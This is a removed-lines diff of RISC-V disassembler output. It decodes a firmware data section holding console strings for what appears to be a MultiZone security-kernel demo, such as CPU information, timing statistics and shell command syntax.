-2040551e:	7365                	lui	t1,0xffff9
-20405520:	6e612073          	csrs	0x6e6,sp
-20405524:	2079                	jal	204055b2 <_exit+0x39c>
-20405526:	2079656b          	0x2079656b
-2040552a:	6f74                	flw	fa3,92(a4)
-2040552c:	7220                	flw	fs0,96(a2)
-2040552e:	7365                	lui	t1,0xffff9
-20405530:	6174                	flw	fa3,68(a0)
-20405532:	7472                	flw	fs0,60(sp)
-20405534:	0a20                	addi	s0,sp,280
-20405536:	0000                	unimp
-20405538:	c514                	sw	a3,8(a0)
-2040553a:	ffff                	0xffff
-2040553c:	c546                	sw	a7,136(sp)
-2040553e:	ffff                	0xffff
-20405540:	c554                	sw	a3,12(a0)
-20405542:	ffff                	0xffff
-20405544:	c562                	sw	s8,136(sp)
-20405546:	ffff                	0xffff
-20405548:	c570                	sw	a2,76(a0)
-2040554a:	ffff                	0xffff
-2040554c:	c5bc                	sw	a5,72(a1)
-2040554e:	ffff                	0xffff
-20405550:	c5d0                	sw	a2,12(a1)
-20405552:	ffff                	0xffff
-20405554:	c5f4                	sw	a3,76(a1)
-20405556:	ffff                	0xffff
-20405558:	c602                	sw	zero,12(sp)
-2040555a:	ffff                	0xffff
-2040555c:	c610                	sw	a2,8(a2)
-2040555e:	ffff                	0xffff
-20405560:	c506                	sw	ra,136(sp)
-20405562:	ffff                	0xffff
-20405564:	c61e                	sw	t2,12(sp)
-20405566:	ffff                	0xffff
-20405568:	614d                	addi	sp,sp,176
-2040556a:	6e696863          	bltu	s2,t1,20405c5a <_exit+0xa44>
-2040556e:	2065                	jal	20405616 <_exit+0x400>
-20405570:	5349                	li	t1,-14
-20405572:	2041                	jal	204055f2 <_exit+0x3dc>
-20405574:	2020                	fld	fs0,64(s0)
-20405576:	203a                	fld	ft0,392(sp)
-20405578:	7830                	flw	fa2,112(s0)
-2040557a:	3025                	jal	20404da2 <__smakebuf_r+0x52>
-2040557c:	7838                	flw	fa4,112(s0)
-2040557e:	5220                	lw	s0,96(a2)
-20405580:	2556                	fld	fa0,336(sp)
-20405582:	2064                	fld	fs1,192(s0)
-20405584:	7325                	lui	t1,0xfffe9
-20405586:	0a20                	addi	s0,sp,280
-20405588:	0000                	unimp
-2040558a:	0000                	unimp
-2040558c:	6556                	flw	fa0,84(sp)
-2040558e:	646e                	flw	fs0,216(sp)
-20405590:	2020726f          	jal	tp,2040c792 <_data_lma+0x67b2>
-20405594:	2020                	fld	fs0,64(s0)
-20405596:	2020                	fld	fs0,64(s0)
-20405598:	2020                	fld	fs0,64(s0)
-2040559a:	203a                	fld	ft0,392(sp)
-2040559c:	7830                	flw	fa2,112(s0)
-2040559e:	3025                	jal	20404dc6 <__smakebuf_r+0x76>
-204055a0:	7838                	flw	fa4,112(s0)
-204055a2:	2520                	fld	fs0,72(a0)
-204055a4:	000a2073          	csrs	ustatus,s4
-204055a8:	7241                	lui	tp,0xffff0
-204055aa:	74696863          	bltu	s2,t1,20405cfa <__clz_tab+0x12>
-204055ae:	6365                	lui	t1,0x19
-204055b0:	7574                	flw	fa3,108(a0)
-204055b2:	6572                	flw	fa0,28(sp)
-204055b4:	2020                	fld	fs0,64(s0)
-204055b6:	203a                	fld	ft0,392(sp)
-204055b8:	7830                	flw	fa2,112(s0)
-204055ba:	3025                	jal	20404de2 <__smakebuf_r+0x92>
-204055bc:	7838                	flw	fa4,112(s0)
-204055be:	2520                	fld	fs0,72(a0)
-204055c0:	000a2073          	csrs	ustatus,s4
-204055c4:	6d49                	lui	s10,0x12
-204055c6:	6c70                	flw	fa2,92(s0)
-204055c8:	6d65                	lui	s10,0x19
-204055ca:	6e65                	lui	t3,0x19
-204055cc:	6174                	flw	fa3,68(a0)
-204055ce:	6974                	flw	fa3,84(a0)
-204055d0:	203a6e6f          	jal	t3,204abfd2 <_data_lma+0xa5ff2>
-204055d4:	7830                	flw	fa2,112(s0)
-204055d6:	3025                	jal	20404dfe <memchr+0x10>
-204055d8:	7838                	flw	fa4,112(s0)
-204055da:	0a20                	addi	s0,sp,280
-204055dc:	0000                	unimp
-204055de:	0000                	unimp
-204055e0:	6148                	flw	fa0,4(a0)
-204055e2:	7472                	flw	fs0,60(sp)
-204055e4:	6920                	flw	fs0,80(a0)
-204055e6:	2064                	fld	fs1,192(s0)
-204055e8:	2020                	fld	fs0,64(s0)
-204055ea:	2020                	fld	fs0,64(s0)
-204055ec:	2020                	fld	fs0,64(s0)
-204055ee:	203a                	fld	ft0,392(sp)
-204055f0:	7830                	flw	fa2,112(s0)
-204055f2:	3125                	jal	2040521a <_exit+0x4>
-204055f4:	2078                	fld	fa4,192(s0)
-204055f6:	000a                	c.slli	zero,0x2
-204055f8:	20555043          	fmadd.s	ft0,fa0,ft5,ft4,unknown
-204055fc:	636f6c63          	bltu	t5,s6,20405c34 <_exit+0xa1e>
-20405600:	2020206b          	0x2020206b
-20405604:	2020                	fld	fs0,64(s0)
-20405606:	203a                	fld	ft0,392(sp)
-20405608:	6425                	lui	s0,0x9
-2040560a:	4d20                	lw	s0,88(a0)
-2040560c:	7a48                	flw	fa0,52(a2)
-2040560e:	0a20                	addi	s0,sp,280
-20405610:	0000                	unimp
-20405612:	0000                	unimp
-20405614:	5452                	lw	s0,52(sp)
-20405616:	6c632043          	0x6c632043
-2040561a:	206b636f          	jal	t1,204bb820 <_data_lma+0xb5840>
-2040561e:	2020                	fld	fs0,64(s0)
-20405620:	2020                	fld	fs0,64(s0)
-20405622:	203a                	fld	ft0,392(sp)
-20405624:	6425                	lui	s0,0x9
-20405626:	4b20                	lw	s0,80(a4)
-20405628:	7a48                	flw	fa0,52(a2)
-2040562a:	0a20                	addi	s0,sp,280
-2040562c:	0000                	unimp
-2040562e:	0000                	unimp
-20405630:	6c25                	lui	s8,0x9
-20405632:	0075                	c.nop	29
-20405634:	2a25                	jal	2040576c <_exit+0x556>
-20405636:	2064                	fld	fs1,192(s0)
-20405638:	6e69                	lui	t3,0x1a
-2040563a:	20727473          	csrrci	s0,0x207,4
-2040563e:	2a25                	jal	20405776 <_exit+0x560>
-20405640:	2064                	fld	fs1,192(s0)
-20405642:	6c637963          	bgeu	t1,t1,20405d14 <__clz_tab+0x2c>
-20405646:	7365                	lui	t1,0xffff9
-20405648:	2520                	fld	fs0,72(a0)
-2040564a:	642a                	flw	fs0,136(sp)
-2040564c:	7520                	flw	fs0,104(a0)
-2040564e:	000a2073          	csrs	ustatus,s4
-20405652:	0000                	unimp
-20405654:	2d2d                	jal	20405c8e <_exit+0xa78>
-20405656:	2d2d                	jal	20405c90 <_exit+0xa7a>
-20405658:	2d2d                	jal	20405c92 <_exit+0xa7c>
-2040565a:	2d2d                	jal	20405c94 <_exit+0xa7e>
-2040565c:	2d2d                	jal	20405c96 <_exit+0xa80>
-2040565e:	2d2d                	jal	20405c98 <_exit+0xa82>
-20405660:	2d2d                	jal	20405c9a <_exit+0xa84>
-20405662:	2d2d                	jal	20405c9c <_exit+0xa86>
-20405664:	2d2d                	jal	20405c9e <_exit+0xa88>
-20405666:	2d2d                	jal	20405ca0 <_exit+0xa8a>
-20405668:	2d2d                	jal	20405ca2 <_exit+0xa8c>
-2040566a:	2d2d                	jal	20405ca4 <_exit+0xa8e>
-2040566c:	2d2d                	jal	20405ca6 <_exit+0xa90>
-2040566e:	2d2d                	jal	20405ca8 <_exit+0xa92>
-20405670:	2d2d                	jal	20405caa <_exit+0xa94>
-20405672:	2d2d                	jal	20405cac <_exit+0xa96>
-20405674:	2d2d                	jal	20405cae <_exit+0xa98>
-20405676:	2d2d                	jal	20405cb0 <_exit+0xa9a>
-20405678:	2d2d                	jal	20405cb2 <_exit+0xa9c>
-2040567a:	2d2d                	jal	20405cb4 <_exit+0xa9e>
-2040567c:	0a2d                	addi	s4,s4,11
-2040567e:	0000                	unimp
-20405680:	6e69                	lui	t3,0x1a
-20405682:	73727473          	csrrci	s0,0x737,4
-20405686:	6d20                	flw	fs0,88(a0)
-20405688:	6e69                	lui	t3,0x1a
-2040568a:	64656d2f          	0x64656d2f
-2040568e:	78616d2f          	0x78616d2f
-20405692:	3d20                	fld	fs0,120(a0)
-20405694:	2520                	fld	fs0,72(a0)
-20405696:	2f64                	fld	fs1,216(a4)
-20405698:	6425                	lui	s0,0x9
-2040569a:	2064252f          	amoxor.w	a0,t1,(s0)
-2040569e:	000a                	c.slli	zero,0x2
-204056a0:	6c637963          	bgeu	t1,t1,20405d72 <__clz_tab+0x8a>
-204056a4:	7365                	lui	t1,0xffff9
-204056a6:	6d20                	flw	fs0,88(a0)
-204056a8:	6e69                	lui	t3,0x1a
-204056aa:	64656d2f          	0x64656d2f
-204056ae:	78616d2f          	0x78616d2f
-204056b2:	3d20                	fld	fs0,120(a0)
-204056b4:	2520                	fld	fs0,72(a0)
-204056b6:	2f64                	fld	fs1,216(a4)
-204056b8:	6425                	lui	s0,0x9
-204056ba:	2064252f          	amoxor.w	a0,t1,(s0)
-204056be:	000a                	c.slli	zero,0x2
-204056c0:	6974                	flw	fa3,84(a0)
-204056c2:	656d                	lui	a0,0x1b
-204056c4:	2020                	fld	fs0,64(s0)
-204056c6:	6d20                	flw	fs0,88(a0)
-204056c8:	6e69                	lui	t3,0x1a
-204056ca:	64656d2f          	0x64656d2f
-204056ce:	78616d2f          	0x78616d2f
-204056d2:	3d20                	fld	fs0,120(a0)
-204056d4:	2520                	fld	fs0,72(a0)
-204056d6:	2f64                	fld	fs1,216(a4)
-204056d8:	6425                	lui	s0,0x9
-204056da:	2064252f          	amoxor.w	a0,t1,(s0)
-204056de:	7375                	lui	t1,0xffffd
-204056e0:	0a20                	addi	s0,sp,280
-204056e2:	0000                	unimp
-204056e4:	6e72654b          	fnmsub.q	fa0,ft4,ft7,fa3,unknown
-204056e8:	6c65                	lui	s8,0x19
-204056ea:	7420                	flw	fs0,104(s0)
-204056ec:	6d69                	lui	s10,0x1a
-204056ee:	0a65                	addi	s4,s4,25
-204056f0:	0000                	unimp
-204056f2:	0000                	unimp
-204056f4:	6e69                	lui	t3,0x1a
-204056f6:	73727473          	csrrci	s0,0x737,4
-204056fa:	6d20                	flw	fs0,88(a0)
-204056fc:	6e69                	lui	t3,0x1a
-204056fe:	78616d2f          	0x78616d2f
-20405702:	3d20                	fld	fs0,120(a0)
-20405704:	2520                	fld	fs0,72(a0)
-20405706:	756c                	flw	fa1,108(a0)
-20405708:	756c252f          	0x756c252f
-2040570c:	0a20                	addi	s0,sp,280
-2040570e:	0000                	unimp
-20405710:	6c637963          	bgeu	t1,t1,20405de2 <__clz_tab+0xfa>
-20405714:	7365                	lui	t1,0xffff9
-20405716:	6d20                	flw	fs0,88(a0)
-20405718:	6e69                	lui	t3,0x1a
-2040571a:	78616d2f          	0x78616d2f
-2040571e:	3d20                	fld	fs0,120(a0)
-20405720:	2520                	fld	fs0,72(a0)
-20405722:	756c                	flw	fa1,108(a0)
-20405724:	756c252f          	0x756c252f
-20405728:	0a20                	addi	s0,sp,280
-2040572a:	0000                	unimp
-2040572c:	6974                	flw	fa3,84(a0)
-2040572e:	656d                	lui	a0,0x1b
-20405730:	2020                	fld	fs0,64(s0)
-20405732:	6d20                	flw	fs0,88(a0)
-20405734:	6e69                	lui	t3,0x1a
-20405736:	78616d2f          	0x78616d2f
-2040573a:	3d20                	fld	fs0,120(a0)
-2040573c:	2520                	fld	fs0,72(a0)
-2040573e:	756c                	flw	fa1,108(a0)
-20405740:	756c252f          	0x756c252f
-20405744:	7520                	flw	fs0,104(a0)
-20405746:	00000a73          	0xa73
-2040574a:	0000                	unimp
-2040574c:	5249                	li	tp,-14
-2040574e:	2051                	jal	204057d2 <_exit+0x5bc>
-20405750:	616c                	flw	fa1,68(a0)
-20405752:	6574                	flw	fa3,76(a0)
-20405754:	636e                	flw	ft6,216(sp)
-20405756:	0a79                	addi	s4,s4,30
-20405758:	0000                	unimp
-2040575a:	0000                	unimp
-2040575c:	6e69                	lui	t3,0x1a
-2040575e:	73727473          	csrrci	s0,0x737,4
-20405762:	6d20                	flw	fs0,88(a0)
-20405764:	6e69                	lui	t3,0x1a
-20405766:	78616d2f          	0x78616d2f
-2040576a:	3d20                	fld	fs0,120(a0)
-2040576c:	2520                	fld	fs0,72(a0)
-2040576e:	2f64                	fld	fs1,216(a4)
-20405770:	6425                	lui	s0,0x9
-20405772:	0a20                	addi	s0,sp,280
-20405774:	0000                	unimp
-20405776:	0000                	unimp
-20405778:	6c637963          	bgeu	t1,t1,20405e4a <_ctype_+0x62>
-2040577c:	7365                	lui	t1,0xffff9
-2040577e:	6d20                	flw	fs0,88(a0)
-20405780:	6e69                	lui	t3,0x1a
-20405782:	78616d2f          	0x78616d2f
-20405786:	3d20                	fld	fs0,120(a0)
-20405788:	2520                	fld	fs0,72(a0)
-2040578a:	2f64                	fld	fs1,216(a4)
-2040578c:	6425                	lui	s0,0x9
-2040578e:	0a20                	addi	s0,sp,280
-20405790:	0000                	unimp
-20405792:	0000                	unimp
-20405794:	6974                	flw	fa3,84(a0)
-20405796:	656d                	lui	a0,0x1b
-20405798:	2020                	fld	fs0,64(s0)
-2040579a:	6d20                	flw	fs0,88(a0)
-2040579c:	6e69                	lui	t3,0x1a
-2040579e:	78616d2f          	0x78616d2f
-204057a2:	3d20                	fld	fs0,120(a0)
-204057a4:	2520                	fld	fs0,72(a0)
-204057a6:	2f64                	fld	fs1,216(a4)
-204057a8:	6425                	lui	s0,0x9
-204057aa:	7520                	flw	fs0,104(a0)
-204057ac:	00000a73          	0xa73
-204057b0:	4f54                	lw	a3,28(a4)
-204057b2:	0052                	c.slli	zero,0x14
-204057b4:	414e                	lw	sp,208(sp)
-204057b6:	0034                	addi	a3,sp,8
-204057b8:	414e                	lw	sp,208(sp)
-204057ba:	4f50                	lw	a2,28(a4)
-204057bc:	0054                	addi	a3,sp,4
-204057be:	0000                	unimp
-204057c0:	7830                	flw	fa2,112(s0)
-204057c2:	3025                	jal	20404fea <__umoddi3+0x114>
-204057c4:	7838                	flw	fa4,112(s0)
-204057c6:	3020                	fld	fs0,96(s0)
-204057c8:	2578                	fld	fa4,200(a0)
-204057ca:	3830                	fld	fa2,112(s0)
-204057cc:	2078                	fld	fa4,192(s0)
-204057ce:	7325                	lui	t1,0xfffe9
-204057d0:	2520                	fld	fs0,72(a0)
-204057d2:	000a2073          	csrs	ustatus,s4
-204057d6:	0000                	unimp
-204057d8:	6970                	flw	fa2,84(a0)
-204057da:	676e                	flw	fa4,216(sp)
-204057dc:	0000                	unimp
-204057de:	0000                	unimp
-204057e0:	6f70                	flw	fa2,92(a4)
-204057e2:	676e                	flw	fa4,216(sp)
-204057e4:	0000                	unimp
-204057e6:	0000                	unimp
-204057e8:	5a0d                	li	s4,-29
-204057ea:	6425                	lui	s0,0x9
-204057ec:	3e20                	fld	fs0,120(a2)
-204057ee:	2520                	fld	fs0,72(a0)
-204057f0:	000a2073          	csrs	ustatus,s4
-204057f4:	5a0d                	li	s4,-29
-204057f6:	2032                	fld	ft0,264(sp)
-204057f8:	203e                	fld	ft0,456(sp)
-204057fa:	7325                	lui	t1,0xfffe9
-204057fc:	0000                	unimp
-204057fe:	0000                	unimp
-20405800:	6568                	flw	fa0,76(a0)
-20405802:	706c                	flw	fa1,100(s0)
-20405804:	0000                	unimp
-20405806:	0000                	unimp
-20405808:	6979                	lui	s2,0x1e
-2040580a:	6c65                	lui	s8,0x19
-2040580c:	2064                	fld	fs1,192(s0)
-2040580e:	203a                	fld	ft0,392(sp)
-20405810:	6c65                	lui	s8,0x19
-20405812:	7061                	c.lui	zero,0xffff8
-20405814:	20646573          	csrrsi	a0,0x206,8
-20405818:	6c637963          	bgeu	t1,t1,20405eea <_ctype_+0x102>
-2040581c:	7365                	lui	t1,0xffff9
-2040581e:	2520                	fld	fs0,72(a0)
-20405820:	2064                	fld	fs1,192(s0)
-20405822:	6974202f          	0x6974202f
-20405826:	656d                	lui	a0,0x1b
-20405828:	2520                	fld	fs0,72(a0)
-2040582a:	7564                	flw	fs1,108(a0)
-2040582c:	000a2073          	csrs	ustatus,s4
-20405830:	6979                	lui	s2,0x1e
-20405832:	6c65                	lui	s8,0x19
-20405834:	2064                	fld	fs1,192(s0)
-20405836:	203a                	fld	ft0,392(sp)
-20405838:	2f6e                	fld	ft10,216(sp)
-2040583a:	2061                	jal	204058c2 <_exit+0x6ac>
-2040583c:	000a                	c.slli	zero,0x2
-2040583e:	0000                	unimp
-20405840:	6f6c                	flw	fa1,92(a4)
-20405842:	6461                	lui	s0,0x18
-20405844:	0000                	unimp
-20405846:	0000                	unimp
-20405848:	7830                	flw	fa2,112(s0)
-2040584a:	3025                	jal	20405072 <__umoddi3+0x19c>
-2040584c:	7838                	flw	fa4,112(s0)
-2040584e:	3a20                	fld	fs0,112(a2)
-20405850:	3020                	fld	fs0,96(s0)
-20405852:	2578                	fld	fa4,200(a0)
-20405854:	3230                	fld	fa2,96(a2)
-20405856:	2078                	fld	fa4,192(s0)
-20405858:	000a                	c.slli	zero,0x2
-2040585a:	0000                	unimp
-2040585c:	746e7953          	0x746e7953
-20405860:	7861                	lui	a6,0xffff8
-20405862:	203a                	fld	ft0,392(sp)
-20405864:	6f6c                	flw	fa1,92(a4)
-20405866:	6461                	lui	s0,0x18
-20405868:	6120                	flw	fs0,64(a0)
-2040586a:	6464                	flw	fs1,76(s0)
-2040586c:	6572                	flw	fa0,28(sp)
-2040586e:	0a207373          	csrrci	t1,0xa2,0
-20405872:	0000                	unimp
-20405874:	726f7473          	csrrci	s0,0x726,30
-20405878:	0065                	c.nop	25
-2040587a:	0000                	unimp
-2040587c:	746e7953          	0x746e7953
-20405880:	7861                	lui	a6,0xffff8
-20405882:	203a                	fld	ft0,392(sp)
-20405884:	726f7473          	csrrci	s0,0x726,30
-20405888:	2065                	jal	20405930 <_exit+0x71a>
-2040588a:	6461                	lui	s0,0x18
-2040588c:	7264                	flw	fs1,100(a2)
-2040588e:	7365                	lui	t1,0xffff9
-20405890:	61642073          	csrs	0x616,s0
-20405894:	6174                	flw	fa3,68(a0)
-20405896:	0a20                	addi	s0,sp,280
-20405898:	0000                	unimp
-2040589a:	0000                	unimp
-2040589c:	7865                	lui	a6,0xffff9
-2040589e:	6365                	lui	t1,0x19
-204058a0:	0000                	unimp
-204058a2:	0000                	unimp
-204058a4:	746e7953          	0x746e7953
-204058a8:	7861                	lui	a6,0xffff8
-204058aa:	203a                	fld	ft0,392(sp)
-204058ac:	7865                	lui	a6,0xffff9
-204058ae:	6365                	lui	t1,0x19
-204058b0:	6120                	flw	fs0,64(a0)
-204058b2:	6464                	flw	fs1,76(s0)
-204058b4:	6572                	flw	fa0,28(sp)
-204058b6:	0a207373          	csrrci	t1,0xa2,0
-204058ba:	0000                	unimp
-204058bc:	6d64                	flw	fs1,92(a0)
-204058be:	0061                	c.nop	24
-204058c0:	746e7953          	0x746e7953
-204058c4:	7861                	lui	a6,0xffff8
-204058c6:	203a                	fld	ft0,392(sp)
-204058c8:	6d64                	flw	fs1,92(a0)
-204058ca:	2061                	jal	20405952 <_exit+0x73c>
-204058cc:	72756f73          	csrrsi	t5,0x727,10
-204058d0:	64206563          	bltu	zero,sp,20405f1a <__sf_fake_stdin+0xe>
-204058d4:	7365                	lui	t1,0xffff9
-204058d6:	2074                	fld	fa3,192(s0)
-204058d8:	657a6973          	csrrsi	s2,0x657,20
-204058dc:	0a20                	addi	s0,sp,280
-204058de:	0000                	unimp
-204058e0:	646e6573          	csrrsi	a0,0x646,28
-204058e4:	0000                	unimp
-204058e6:	0000                	unimp
-204058e8:	7245                	lui	tp,0xffff1
-204058ea:	6f72                	flw	ft10,28(sp)
-204058ec:	3a72                	fld	fs4,312(sp)
-204058ee:	4920                	lw	s0,80(a0)
-204058f0:	626e                	flw	ft4,216(sp)
-204058f2:	6620786f          	jal	a6,2040cf54 <_data_lma+0x6f74>
-204058f6:	6c75                	lui	s8,0x1d
-204058f8:	2e6c                	fld	fa1,216(a2)
-204058fa:	000a                	c.slli	zero,0x2
-204058fc:	746e7953          	0x746e7953
-20405900:	7861                	lui	a6,0xffff8
-20405902:	203a                	fld	ft0,392(sp)
-20405904:	646e6573          	csrrsi	a0,0x646,28
-20405908:	7b20                	flw	fs0,112(a4)
-2040590a:	7c31                	lui	s8,0xfffec
-2040590c:	7c32                	flw	fs8,44(sp)
-2040590e:	7d347c33          	0x7d347c33
-20405912:	6d20                	flw	fs0,88(a0)
-20405914:	7365                	lui	t1,0xffff9
-20405916:	65676173          	csrrsi	sp,0x656,14
-2040591a:	0a20                	addi	s0,sp,280
-2040591c:	0000                	unimp
-2040591e:	0000                	unimp
-20405920:	6572                	flw	fa0,28(sp)
-20405922:	00007663          	bgeu	zero,zero,2040592e <_exit+0x718>
-20405926:	0000                	unimp
-20405928:	736d                	lui	t1,0xffffb
-2040592a:	203a2067          	0x203a2067
-2040592e:	2e25                	jal	20405c66 <_exit+0xa50>
-20405930:	3631                	jal	2040543c <_exit+0x226>
-20405932:	00000a73          	0xa73
-20405936:	0000                	unimp
-20405938:	7245                	lui	tp,0xffff1
-2040593a:	6f72                	flw	ft10,28(sp)
-2040593c:	3a72                	fld	fs4,312(sp)
-2040593e:	4920                	lw	s0,80(a0)
-20405940:	626e                	flw	ft4,216(sp)
-20405942:	6520786f          	jal	a6,2040cf94 <_data_lma+0x6fb4>
-20405946:	706d                	c.lui	zero,0xffffb
-20405948:	7974                	flw	fa3,116(a0)
-2040594a:	0a2e                	slli	s4,s4,0xb
-2040594c:	0000                	unimp
-2040594e:	0000                	unimp
-20405950:	746e7953          	0x746e7953
-20405954:	7861                	lui	a6,0xffff8
-20405956:	203a                	fld	ft0,392(sp)
-20405958:	6572                	flw	fa0,28(sp)
-2040595a:	7b207663          	bgeu	zero,s2,20406106 <_data_lma+0x126>
-2040595e:	7c31                	lui	s8,0xfffec
-20405960:	7c32                	flw	fs8,44(sp)
-20405962:	7d347c33          	0x7d347c33
-20405966:	0a20                	addi	s0,sp,280
-20405968:	0000                	unimp
-2040596a:	0000                	unimp
-2040596c:	6979                	lui	s2,0x1e
-2040596e:	6c65                	lui	s8,0x19
-20405970:	0064                	addi	s1,sp,12
-20405972:	0000                	unimp
-20405974:	6974                	flw	fa3,84(a0)
-20405976:	656d                	lui	a0,0x1b
-20405978:	0072                	c.slli	zero,0x1c
-2040597a:	0000                	unimp
-2040597c:	6974                	flw	fa3,84(a0)
-2040597e:	656d                	lui	a0,0x1b
-20405980:	2072                	fld	ft0,280(sp)
-20405982:	20746573          	csrrsi	a0,0x207,8
-20405986:	3054                	fld	fa3,160(s0)
-20405988:	253d                	jal	20405fb6 <__sf_fake_stdout+0x8a>
-2040598a:	756c                	flw	fa1,108(a0)
-2040598c:	202c                	fld	fa1,64(s0)
-2040598e:	3154                	fld	fa3,160(a0)
-20405990:	253d                	jal	20405fbe <__sf_fake_stdout+0x92>
-20405992:	756c                	flw	fa1,108(a0)
-20405994:	0a20                	addi	s0,sp,280
-20405996:	0000                	unimp
-20405998:	746e7953          	0x746e7953
-2040599c:	7861                	lui	a6,0xffff8
-2040599e:	203a                	fld	ft0,392(sp)
-204059a0:	6974                	flw	fa3,84(a0)
-204059a2:	656d                	lui	a0,0x1b
-204059a4:	2072                	fld	ft0,280(sp)
-204059a6:	736d                	lui	t1,0xffffb
-204059a8:	0a20                	addi	s0,sp,280
-204059aa:	0000                	unimp
-204059ac:	74617473          	csrrci	s0,0x746,2
-204059b0:	00000073          	ecall
-204059b4:	6572                	flw	fa0,28(sp)
-204059b6:	72617473          	csrrci	s0,0x726,2
-204059ba:	0074                	addi	a3,sp,12
-204059bc:	6d70                	flw	fa2,92(a0)
-204059be:	0070                	addi	a2,sp,12
-204059c0:	6365                	lui	t1,0x19
-204059c2:	6c61                	lui	s8,0x18
-204059c4:	006c                	addi	a1,sp,12
-204059c6:	0000                	unimp
-204059c8:	72727363          	bgeu	tp,t2,204060ee <_data_lma+0x10e>
-204059cc:	0000                	unimp
-204059ce:	0000                	unimp
-204059d0:	7830                	flw	fa2,112(s0)
-204059d2:	3025                	jal	204051fa <__umoddi3+0x324>
-204059d4:	7838                	flw	fa4,112(s0)
-204059d6:	2820                	fld	fs0,80(s0)
-204059d8:	6425                	lui	s0,0x9
-204059da:	6320                	flw	fs0,64(a4)
-204059dc:	6379                	lui	t1,0x1e
-204059de:	656c                	flw	fa1,76(a0)
-204059e0:	0a202973          	csrr	s2,0xa2
-204059e4:	0000                	unimp
-204059e6:	0000                	unimp
-204059e8:	6d6d6f43          	0x6d6d6f43
-204059ec:	6e61                	lui	t3,0x18
-204059ee:	7364                	flw	fs1,100(a4)
-204059f0:	203a                	fld	ft0,392(sp)
-204059f2:	6979                	lui	s2,0x1e
-204059f4:	6c65                	lui	s8,0x19
-204059f6:	2064                	fld	fs1,192(s0)
-204059f8:	646e6573          	csrrsi	a0,0x646,28
-204059fc:	7220                	flw	fs0,96(a2)
-204059fe:	6365                	lui	t1,0x19
-20405a00:	2076                	fld	ft0,344(sp)
-20405a02:	6d70                	flw	fa2,92(a0)
-20405a04:	2070                	fld	fa2,192(s0)
-20405a06:	6f6c                	flw	fa1,92(a4)
-20405a08:	6461                	lui	s0,0x18
-20405a0a:	7320                	flw	fs0,96(a4)
-20405a0c:	6f74                	flw	fa3,92(a4)
-20405a0e:	6572                	flw	fa0,28(sp)
-20405a10:	6520                	flw	fs0,72(a0)
-20405a12:	6578                	flw	fa4,76(a0)
-20405a14:	6d642063          	0x6d642063
-20405a18:	2061                	jal	20405aa0 <_exit+0x88a>
-20405a1a:	74617473          	csrrci	s0,0x746,2
-20405a1e:	69742073          	csrs	0x697,s0
-20405a22:	656d                	lui	a0,0x1b
-20405a24:	2072                	fld	ft0,280(sp)
-20405a26:	6572                	flw	fa0,28(sp)
-20405a28:	72617473          	csrrci	s0,0x726,2
-20405a2c:	2074                	fld	fa3,192(s0)
-20405a2e:	000a                	c.slli	zero,0x2
-20405a30:	0000371b          	0x371b
-20405a34:	004b5b1b          	0x4b5b1b
-20405a38:	0000381b          	0x381b
-20405a3c:	00435b1b          	0x435b1b
-20405a40:	00445b1b          	0x445b1b
-20405a44:	4b325b1b          	0x4b325b1b
-20405a48:	0000                	unimp
-20405a4a:	0000                	unimp
-20405a4c:	5a0d                	li	s4,-29
-20405a4e:	2032                	fld	ft0,264(sp)
-20405a50:	203e                	fld	ft0,456(sp)
-20405a52:	0000                	unimp
-20405a54:	4155                	li	sp,21
-20405a56:	5452                	lw	s0,52(sp)
-20405a58:	0000                	unimp
-20405a5a:	0000                	unimp
-20405a5c:	4a325b1b          	0x4a325b1b
-20405a60:	00485b1b          	0x485b1b
-20405a64:	3d3d                	jal	204058a2 <_exit+0x68c>
-20405a66:	3d3d                	jal	204058a4 <_exit+0x68e>
-20405a68:	3d3d                	jal	204058a6 <_exit+0x690>
-20405a6a:	3d3d                	jal	204058a8 <_exit+0x692>
-20405a6c:	3d3d                	jal	204058aa <_exit+0x694>
-20405a6e:	3d3d                	jal	204058ac <_exit+0x696>
-20405a70:	3d3d                	jal	204058ae <_exit+0x698>
-20405a72:	3d3d                	jal	204058b0 <_exit+0x69a>
-20405a74:	3d3d                	jal	204058b2 <_exit+0x69c>
-20405a76:	3d3d                	jal	204058b4 <_exit+0x69e>
-20405a78:	3d3d                	jal	204058b6 <_exit+0x6a0>
-20405a7a:	3d3d                	jal	204058b8 <_exit+0x6a2>
-20405a7c:	3d3d                	jal	204058ba <_exit+0x6a4>
-20405a7e:	3d3d                	jal	204058bc <_exit+0x6a6>
-20405a80:	3d3d                	jal	204058be <_exit+0x6a8>
-20405a82:	3d3d                	jal	204058c0 <_exit+0x6aa>
-20405a84:	3d3d                	jal	204058c2 <_exit+0x6ac>
-20405a86:	3d3d                	jal	204058c4 <_exit+0x6ae>
-20405a88:	3d3d                	jal	204058c6 <_exit+0x6b0>
-20405a8a:	3d3d                	jal	204058c8 <_exit+0x6b2>
-20405a8c:	3d3d                	jal	204058ca <_exit+0x6b4>
-20405a8e:	3d3d                	jal	204058cc <_exit+0x6b6>
-20405a90:	3d3d                	jal	204058ce <_exit+0x6b8>
-20405a92:	3d3d                	jal	204058d0 <_exit+0x6ba>
-20405a94:	3d3d                	jal	204058d2 <_exit+0x6bc>
-20405a96:	3d3d                	jal	204058d4 <_exit+0x6be>
-20405a98:	3d3d                	jal	204058d6 <_exit+0x6c0>
-20405a9a:	3d3d                	jal	204058d8 <_exit+0x6c2>
-20405a9c:	3d3d                	jal	204058da <_exit+0x6c4>
-20405a9e:	3d3d                	jal	204058dc <_exit+0x6c6>
-20405aa0:	3d3d                	jal	204058de <_exit+0x6c8>
-20405aa2:	3d3d                	jal	204058e0 <_exit+0x6ca>
-20405aa4:	3d3d                	jal	204058e2 <_exit+0x6cc>
-20405aa6:	3d3d                	jal	204058e4 <_exit+0x6ce>
-20405aa8:	0a3d                	addi	s4,s4,15
-20405aaa:	0000                	unimp
-20405aac:	2020                	fld	fs0,64(s0)
-20405aae:	2020                	fld	fs0,64(s0)
-20405ab0:	2020                	fld	fs0,64(s0)
-20405ab2:	2009                	jal	20405ab4 <_exit+0x89e>
-20405ab4:	2020                	fld	fs0,64(s0)
-20405ab6:	2020                	fld	fs0,64(s0)
-20405ab8:	2020                	fld	fs0,64(s0)
-20405aba:	2020                	fld	fs0,64(s0)
-20405abc:	2020                	fld	fs0,64(s0)
-20405abe:	2020                	fld	fs0,64(s0)
-20405ac0:	6548                	flw	fa0,12(a0)
-20405ac2:	2078                	fld	fa4,192(s0)
-20405ac4:	6946                	flw	fs2,80(sp)
-20405ac6:	6576                	flw	fa0,92(sp)
-20405ac8:	4d20                	lw	s0,88(a0)
-20405aca:	6c75                	lui	s8,0x1d
-20405acc:	6974                	flw	fa3,84(a0)
